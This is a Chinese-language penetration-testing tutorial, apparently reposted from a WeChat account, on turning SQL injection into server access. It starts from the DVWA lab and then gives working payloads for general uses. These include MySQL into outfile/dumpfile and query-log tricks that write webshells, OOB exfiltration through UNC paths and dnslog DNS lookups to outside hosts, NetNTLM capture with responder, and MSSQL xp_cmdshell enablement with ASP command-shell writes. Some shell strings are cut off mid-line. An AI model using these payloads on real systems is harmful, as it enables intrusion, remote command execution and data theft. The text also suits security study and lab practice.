0x00 前言
上一節(jié),我們已經(jīng)介紹了基本的SQL查詢語句,常見的SQL注入類型,DVWA靶場演示SQL注入。學(xué)習(xí)了上一節(jié)我們可以做到執(zhí)行任意SQL語句,主要可以對數(shù)據(jù)庫的數(shù)據(jù)進行操作,但是不能對服務(wù)器和應(yīng)用進一步控制,本節(jié)就介紹下在有sql注入的情況下如何進行下一步的滲透,獲取到服務(wù)器權(quán)限。
0x01 Getshell
這里我們還是以上一節(jié)說的DVWA靶場為例,利用SQL注入漏洞寫入webshell獲取網(wǎng)站權(quán)限。
目標環(huán)境:
PHP+MYSQL+LINUX
前提條件:
- mysql 是root權(quán)限
- 知道網(wǎng)站在服務(wù)器上的物理路徑,且可寫
- 沒有過濾單引號
- `PHP`的`GPC`為 off狀態(tài)
- mysql <= 5.6.34
當`secure_file_priv`的值沒有具體值時,表示不對`MySQL`的導(dǎo)入|導(dǎo)出做限制
SHOW VARIABLES LIKE "secure_file_priv";
如果是null,表示`MySQL`不允許導(dǎo)入導(dǎo)出。(NULL不等于沒有空)
而且在`mysql 5.6.34`版本以后 `secure_file_priv` 的值默認為NULL,并且無法用`SQL`語句對其進行修改,并且會報錯如下:
`docker run -itd --name dvwa1 -p 8111:80 vulnerables/web-dvwa:1.9`
下載低版本的mysql測試
利用outfile和dumpfile,**outfile會在每行添加反斜杠,可導(dǎo)出多行,dumpfile只能導(dǎo)出一行,不會添加反斜杠,適合導(dǎo)出二進制文件:
```
?id=1' UNION ALL SELECT 1,'' into outfile '/tmp/info.php'
?id=1' UNION ALL SELECT 1,'' into dumpfile '/tmp/info.php'
```
如果不能使用union查詢可以使用`fields terminated by`與`lines terminated by`:
```
?id=1' into outfile '/tmp/info.php' FIELDS TERMINATED BY ''
```
修改配置getshell:
```
vi /etc/mysql/my.cnf
secure_file_priv= "/"
```
小tricks:
利用日志文件getshell
```
show variables like '%general%'; --查看配置,日志是否開啟,和mysql默認log地址(記下原地址方便恢復(fù))
set global general_log = on; --開啟日志監(jiān)測,默認關(guān)閉(如果一直開文件會很大的)
set global general_log_file = '/var/www/html/info.php'; --設(shè)置日志路徑
select '
--SQL查詢免殺shell
select "
SELECT "
--慢查詢寫shell,只有當查詢語句執(zhí)行的時間要超過系統(tǒng)默認的時間時,該語句才會被記入進慢查詢?nèi)罩尽?/span>
為什么要用慢查詢寫呢?上邊說過開啟日志監(jiān)測后文件會很大,網(wǎng)站訪問量大的話我們寫的shell會出錯
show global variables like '%long_query_time%' --查看服務(wù)器默認時間值
show variables like '%slow_query_log%'; --查看慢查詢信息
set global slow_query_log=1; --啟用慢查詢?nèi)罩?默認禁用)
set global slow_query_log_file='C:\phpStudy\WWW\shell.php'; --修改日志文件路徑
select '
```
0x02 OOB
利用mysql的函數(shù),把信息傳遞到外網(wǎng)控制的機器,例如文件讀取的函數(shù),其實是對上面利用的一種變形和深度利用
前提條件:
- mysql <= 5.6.34
跟上面一樣**secure_file_priv**,在5.6.34之前是空值,之后被設(shè)置為null,直接被禁止了
```
select @@version into outfile '//192.168.126.149/temp/o';
select @@version into dumpfile '//192.168.126.149/temp/o';
select load_file(concat('\\',version(),'.dnslog.cn\a'));
select load_file(concat(0x5c5c5c5c,version(),0x2e6861636b65722e736974655c5c612e747874));
```
這里可能被利用竊取NetNtlm或者SMBrelay
responder -I eth0 -rv
0x03 MSSQL 執(zhí)行命令
當碰到windows服務(wù)器上web應(yīng)用有MSSQL注入時,可利用注入執(zhí)行命令寫webshell等
前提條件:
- SQL Server 2005以后默認關(guān)閉,需要手動開啟
查看xp_cmdshell是否開啟,并且使用語句開啟:
```
exec sp_configure 'show advanced options', 1;
RECONFIGURE;
exec sp_configure'xp_cmdshell', 1;
RECONFIGURE;
```
執(zhí)行命令:
```
exec master..xp_cmdshell 'whoami';
```
如果xp_cmdshell被刪除,我們可以利用xplog70.dll恢復(fù)被刪除的xp_cmdshell
```
Exec master.dbo.sp_addextendedproc 'xp_cmdshell','D:\xplog70.dll'
```
這里就涉及到上傳文件:
1.利用sql語句寫入
```
exec sp_makewebtask 'c:\windows\temp\xx.dll','select''<%execute(request("cmd"))%>'''
```
2.利用命令執(zhí)行,寫入或下載
```
exec xp_cmdshell 'echo "<%execute(request("cmd"))%>">> c:\windows\temp\xx.dll)'
```
3.db權(quán)限
```
目錄情況:
create table temp(dir nvarchar(255),depth varchar(255),files varchar(255),ID int NOT NULL IDENTITY(1,1));--
insert into temp(dir,depth,files)exec master.dbo.xp_dirtree 'c:',1,1--
select dir from temp where id=1 通過修改id來遍歷目錄
寫數(shù)據(jù)
alter database 數(shù)據(jù)庫名 set RECOVERY FULL 開啟恢復(fù)模式full,當恢復(fù)模式為 SIMPLE 時,不允許使用 BACKUP LOG 語句。
create table test(str image)--
insert into test(str)values ('<%execute(request("cmd"))%>')--
backup log 數(shù)據(jù)庫名 to disk='c:可讀寫路徑x.asp'-- 這里的目錄注意是可讀寫目錄,不然會出問題
alter database 數(shù)據(jù)庫名 set RECOVERY simple-- 關(guān)閉恢復(fù)模式full
```
其他:
- COM組件利用
- CLR利用
- SQL Server 2016 R利用
- SQL Server 2017 Python利用
- 沙盒利用(openrowset)
- Agent Job利用
0X04 總結(jié)
SQL注入到Getshell
-
服務(wù)器
+關(guān)注
關(guān)注
12文章
9160瀏覽量
85421 -
SQL
+關(guān)注
關(guān)注
1文章
764瀏覽量
44130
原文標題:SQL注入到Getshell和OOB
文章出處:【微信號:哆啦安全,微信公眾號:哆啦安全】歡迎添加關(guān)注!文章轉(zhuǎn)載請注明出處。
發(fā)布評論請先 登錄
相關(guān)推薦
評論